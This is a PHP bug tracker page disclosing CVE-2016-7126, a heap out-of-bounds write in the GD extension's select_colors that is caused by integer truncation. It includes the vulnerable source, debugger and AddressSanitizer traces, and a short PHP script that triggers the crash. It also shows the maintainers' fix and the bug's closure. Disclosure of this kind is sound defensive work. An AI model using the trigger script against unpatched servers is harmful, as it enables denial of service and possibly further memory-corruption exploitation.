php.net |  support |  documentation |  report a bug |  advanced search |  search howto |  statistics |  random bug |  login
Sec Bug #72697 select_colors write out-of-bounds
Submitted: 2016-07-28 06:38 UTC Modified: 2016-09-05 15:28 UTC
From: fernando at null-life dot com Assigned: stas
Status: Closed Package: GD related
PHP Version: 5.6.24 OS: *
Private report: No CVE-ID: 2016-7126
View Add Comment Developer Edit
Welcome! If you don't have a Git account, you can't do anything here.
You can add a comment by following this link or if you reported this bug, you can edit this bug over here.
(description)
Block user comment
Status: Assign to:
Package:
Bug Type:
Summary:
From: fernando at null-life dot com
New email:
PHP Version: OS:

 

 [2016-07-28 06:38 UTC] fernando at null-life dot com
Description:
------------
Description
============

Type mismatch parameters between ncolors and colorsWanted parameters at zif_imagetruecolortopalette and php_gd_gdImageTrueColorToPalette, ncolors is a 64 bit integer and colorsWanted is 32 bits, ncolors' value 0x1000000000000000 becomes 0 inside php_gd_gdImageTrueColorToPalette.

Later, select_colors will not allocate enough memory and writes out of bounds.

===============================================

PHP Source code: 

https://github.com/php/php-src/blob/PHP-7.0/ext/gd/libgd/gd_topal.c#L780

LOCAL (void)
#ifdef ORIGINAL_LIB_JPEG
select_colors (j_decompress_ptr cinfo, int desired_colors)
#else
select_colors (gdImagePtr oim, gdImagePtr nim, my_cquantize_ptr cquantize, int desired_colors)
#endif
/* Master routine for color selection */
{
  boxptr boxlist;
  int numboxes;
  int i;

  /* Allocate workspace for box list */
#ifdef ORIGINAL_LIB_JPEG
  boxlist = (boxptr) (*cinfo->mem->alloc_small)
    ((j_common_ptr) cinfo, JPOOL_IMAGE, desired_colors * SIZEOF (box));
#else
  boxlist = (boxptr) safe_emalloc(desired_colors, sizeof (box), 1);
  // desired_colors = 0 and reserved memory = 1
#endif
  /* Initialize one box containing whole space */
  numboxes = 1;
  boxlist[0].c0min = 0;                    // write out of bounds
  boxlist[0].c0max = MAXJSAMPLE >> C0_SHIFT;
  boxlist[0].c1min = 0;
  boxlist[0].c1max = MAXJSAMPLE >> C1_SHIFT;
  boxlist[0].c2min = 0;
  boxlist[0].c2max = MAXJSAMPLE >> C2_SHIFT;


GDB output
==========

USE_ZEND_ALLOC=0 gdb -q --args /home/operac/php-70-sinasan/sapi/cli/php -n poc.php

Reading symbols from /home/operac/php-70-sinasan/sapi/cli/php...done.
(gdb) b gd.c:1537
Breakpoint 1 at 0x549641: file /home/operac/php-70-sinasan/ext/gd/gd.c, line 1537.
(gdb) b php_gd_gdImageTrueColorToPalette
Breakpoint 2 at 0x569cce: file /home/operac/php-70-sinasan/ext/gd/libgd/gd_topal.c, line 1768.
(gdb) r
Starting program: /home/operac/php-70-sinasan/sapi/cli/php -n poc.php

Breakpoint 1, zif_imagetruecolortopalette (execute_data=0x7ffff7ed70e0, return_value=0x7ffff7ed70d0) at /home/operac/php-70-sinasan/ext/gd/gd.c:1537
1537            gdImageTrueColorToPalette(im, dither, ncolors);
(gdb) p/x ncolors
$1 = 0x1000000000000000
(gdb) c
Continuing.

Breakpoint 2, php_gd_gdImageTrueColorToPalette (im=0x139de70, dither=0, colorsWanted=0) at /home/operac/php-70-sinasan/ext/gd/libgd/gd_topal.c:1768
1768            gdImageTrueColorToPaletteBody(im, dither, colorsWanted, 0);
(gdb) p/x colorsWanted
$2 = 0x0     <---- parameter casted to 32 bits
(gdb)

gdb) b select_colors
Breakpoint 4 at 0x5686e5: file /home/operac/php-70-sinasan/ext/gd/libgd/gd_topal.c, line 797.
(gdb) c
Continuing.

Breakpoint 4, select_colors (oim=0x139de70, nim=0x139de70, cquantize=0x13a66c0, desired_colors=0) at /home/operac/php-70-sinasan/ext/gd/libgd/gd_topal.c:797
797       boxlist = (boxptr) safe_emalloc(desired_colors, sizeof (box), 1);
(gdb) b _safe_emalloc
Breakpoint 5 at 0x86d716: file /home/operac/php-70-sinasan/Zend/zend_alloc.c, line 2518.
(gdb) c
Continuing.

Breakpoint 5, _safe_emalloc (nmemb=0, size=40, offset=1, __zend_filename=0xd5ccd8 "/home/operac/php-70-sinasan/ext/gd/libgd/gd_topal.c", __zend_lineno=797, __zend_orig_filename=0x0, __zend_orig_lineno=0)
    at /home/operac/php-70-sinasan/Zend/zend_alloc.c:2518
2518            return emalloc_rel(safe_address(nmemb, size, offset));
(gdb) p nmemb
$3 = 0                <------ reserved memory =  (0 * 40) + 1 = 1 byte

(gdb) c
Program received signal SIGABRT, Aborted.

(gdb) bt
0x00007ffff5f7e418 in __GI_raise (sig=sig@entry=6) at ../sysdeps/unix/sysv/linux/raise.c:54
54      ../sysdeps/unix/sysv/linux/raise.c: No such file or directory.
(gdb) bt
#0  0x00007ffff5f7e418 in __GI_raise (sig=sig@entry=6) at ../sysdeps/unix/sysv/linux/raise.c:54
#1  0x00007ffff5f8001a in __GI_abort () at abort.c:89
#2  0x00007ffff5fc072a in __libc_message (do_abort=do_abort@entry=2, fmt=fmt@entry=0x7ffff60d96b0 "*** Error in `%s': %s: 0x%s ***\n") at ../sysdeps/posix/libc_fatal.c:175
#3  0x00007ffff5fc8f4a in malloc_printerr (ar_ptr=<optimized out>, ptr=<optimized out>, str=0x7ffff60d9728 "free(): invalid next size (fast)", action=3) at malloc.c:5007
#4  _int_free (av=<optimized out>, p=<optimized out>, have_lock=0) at malloc.c:3868
#5  0x00007ffff5fccabc in __GI___libc_free (mem=<optimized out>) at malloc.c:2969
#6  0x000000000086d45b in _efree (ptr=0x13a5ba0, __zend_filename=0xd5ccd8 "/home/operac/php-70-sinasan/ext/gd/libgd/gd_topal.c", __zend_lineno=841, __zend_orig_filename=0x0, __zend_orig_lineno=0)
    at /home/operac/php-70-sinasan/Zend/zend_alloc.c:2461
#7  0x00000000005688e8 in select_colors (oim=0x139de70, nim=0x139de70, cquantize=0x13a66c0, desired_colors=0) at /home/operac/php-70-sinasan/ext/gd/libgd/gd_topal.c:841
#8  0x000000000056a0c2 in gdImageTrueColorToPaletteBody (oim=0x139de70, dither=0, colorsWanted=0, cimP=0x0) at /home/operac/php-70-sinasan/ext/gd/libgd/gd_topal.c:1942
#9  0x0000000000569ce5 in php_gd_gdImageTrueColorToPalette (im=0x139de70, dither=0, colorsWanted=0) at /home/operac/php-70-sinasan/ext/gd/libgd/gd_topal.c:1768
#10 0x000000000054965c in zif_imagetruecolortopalette (execute_data=0x7ffff7ed70e0, return_value=0x7ffff7ed70d0) at /home/operac/php-70-sinasan/ext/gd/gd.c:1537
#11 0x0000000000902021 in ZEND_DO_ICALL_SPEC_HANDLER () at /home/operac/php-70-sinasan/Zend/zend_vm_execute.h:586
#12 0x0000000000901a4d in execute_ex (ex=0x7ffff7ed7040) at /home/operac/php-70-sinasan/Zend/zend_vm_execute.h:414
#13 0x0000000000901b5e in zend_execute (op_array=0x13a5f90, return_value=0x0) at /home/operac/php-70-sinasan/Zend/zend_vm_execute.h:458
#14 0x00000000008a2be4 in zend_execute_scripts (type=8, retval=0x0, file_count=3) at /home/operac/php-70-sinasan/Zend/zend.c:1427
#15 0x000000000080b2f9 in php_execute_script (primary_file=0x7fffffffd1f0) at /home/operac/php-70-sinasan/main/main.c:2494
#16 0x000000000096acf3 in do_cli (argc=3, argv=0x124e710) at /home/operac/php-70-sinasan/sapi/cli/php_cli.c:974
#17 0x000000000096bec1 in main (argc=3, argv=0x124e710) at /home/operac/php-70-sinasan/sapi/cli/php_cli.c:1344



======================


This issue doesn't affect upstream libgd, overflow2 function check will prevent it:

https://github.com/libgd/libgd/blob/master/src/gd_topal.c#L686

LOCAL (void)
select_colors (gdImagePtr oim, gdImagePtr nim, my_cquantize_ptr cquantize, int desired_colors)
/* Master routine for color selection */
{
        boxptr boxlist;
        int numboxes;
        int i;

        /* Allocate workspace for box list */
        /* This can't happen because we clamp desired_colors at gdMaxColors,
          but anyway */
        if (overflow2(desired_colors, sizeof (box))) {
                return;
        }


https://github.com/libgd/libgd/blob/master/src/gd_security.c#L21

int overflow2(int a, int b)
{
        if(a <= 0 || b <= 0) {
                gd_error_ex(GD_WARNING, "one parameter to a memory allocation multiplication is negative or zero, failing operation gracefully\n");
                return 1;
        }
        if(a > INT_MAX / b) {
                gd_error_ex(GD_WARNING, "product of memory allocation multiplication would exceed INT_MAX, failing operation gracefully\n");
                return 1;
        }
        return 0;
}



Test script:
---------------
<?php

$img=imagecreatetruecolor(10, 10);
imagetruecolortopalette($img, false, PHP_INT_MAX / 8);


Expected result:
----------------
No crash

Actual result:
--------------
ASan output:

==25164==ERROR: AddressSanitizer: heap-buffer-overflow on address 0x602000039790 at pc 0x000000a04930 bp 0x7fff2424a5e0 sp 0x7fff2424a5d0
WRITE of size 4 at 0x602000039790 thread T0
    #0 0xa0492f in select_colors /home/operac/php-70/ext/gd/libgd/gd_topal.c:801
    #1 0xa0492f in gdImageTrueColorToPaletteBody /home/operac/php-70/ext/gd/libgd/gd_topal.c:1942
    #2 0x967dac in zif_imagetruecolortopalette /home/operac/php-70/ext/gd/gd.c:1537
    #3 0x1da38da in ZEND_DO_ICALL_SPEC_HANDLER /home/operac/php-70/Zend/zend_vm_execute.h:586
    #4 0x1b4c335 in execute_ex /home/operac/php-70/Zend/zend_vm_execute.h:414
    #5 0x1df9dc8 in zend_execute /home/operac/php-70/Zend/zend_vm_execute.h:458
    #6 0x194764a in zend_execute_scripts /home/operac/php-70/Zend/zend.c:1427
    #7 0x16b8347 in php_execute_script /home/operac/php-70/main/main.c:2494
    #8 0x1e02126 in do_cli /home/operac/php-70/sapi/cli/php_cli.c:974
    #9 0x467378 in main /home/operac/php-70/sapi/cli/php_cli.c:1344
    #10 0x7f67c285782f in __libc_start_main (/lib/x86_64-linux-gnu/libc.so.6+0x2082f)
    #11 0x467a48 in _start (/ramdisk/php-fuzz/phuzzer/php-70/sapi/cli/php+0x467a48)

0x602000039791 is located 0 bytes to the right of 1-byte region [0x602000039790,0x602000039791)
allocated by thread T0 here:
    #0 0x7f67c475d54a in malloc (/usr/lib/x86_64-linux-gnu/libasan.so.2+0x9854a)
    #1 0xa00444 in select_colors /home/operac/php-70/ext/gd/libgd/gd_topal.c:797
    #2 0xa00444 in gdImageTrueColorToPaletteBody /home/operac/php-70/ext/gd/libgd/gd_topal.c:1942
    #3 0x967dac in zif_imagetruecolortopalette /home/operac/php-70/ext/gd/gd.c:1537
    #4 0x1da38da in ZEND_DO_ICALL_SPEC_HANDLER /home/operac/php-70/Zend/zend_vm_execute.h:586
    #5 0x1b4c335 in execute_ex /home/operac/php-70/Zend/zend_vm_execute.h:414
    #6 0x1df9dc8 in zend_execute /home/operac/php-70/Zend/zend_vm_execute.h:458
    #7 0x194764a in zend_execute_scripts /home/operac/php-70/Zend/zend.c:1427
    #8 0x16b8347 in php_execute_script /home/operac/php-70/main/main.c:2494
    #9 0x1e02126 in do_cli /home/operac/php-70/sapi/cli/php_cli.c:974
    #10 0x467378 in main /home/operac/php-70/sapi/cli/php_cli.c:1344
    #11 0x7f67c285782f in __libc_start_main (/lib/x86_64-linux-gnu/libc.so.6+0x2082f)

SUMMARY: AddressSanitizer: heap-buffer-overflow /home/operac/php-70/ext/gd/libgd/gd_topal.c:801 select_colors


Patches

Add a Patch

Pull Requests

Add a Pull Request

History

AllCommentsChangesGit/SVN commitsRelated reports
 [2016-08-10 07:01 UTC] stas@php.net
-PHP Version: 7.0.9 +PHP Version: 5.6.24 -Assigned To: +Assigned To: stas
 [2016-08-10 07:01 UTC] stas@php.net
Fix in https://gist.github.com/9fa708887b20a02bac3a0820e8237be9
and in security repo as b6f13a5ef9d6280cf984826a5de012a32c396cd4

please verify
 [2016-08-15 06:03 UTC] stas@php.net
-CVE-ID: +CVE-ID: needed
 [2016-08-17 06:41 UTC] stas@php.net
-Status: Assigned +Status: Closed
 [2016-08-17 06:41 UTC] stas@php.net
The fix for this bug has been committed.

Snapshots of the sources are packaged every three hours; this change
will be in the next snapshot. You can grab the snapshot at
http://snaps.php.net/.

 For Windows:

http://windows.php.net/snapshots/
 
Thank you for the report, and for helping us make PHP better.


 [2016-09-05 15:28 UTC] remi@php.net
-CVE-ID: needed +CVE-ID: 2016-7126
 
PHP Copyright © 2001-2017 The PHP Group
All rights reserved.
Last updated: Wed May 24 13:01:42 2017 UTC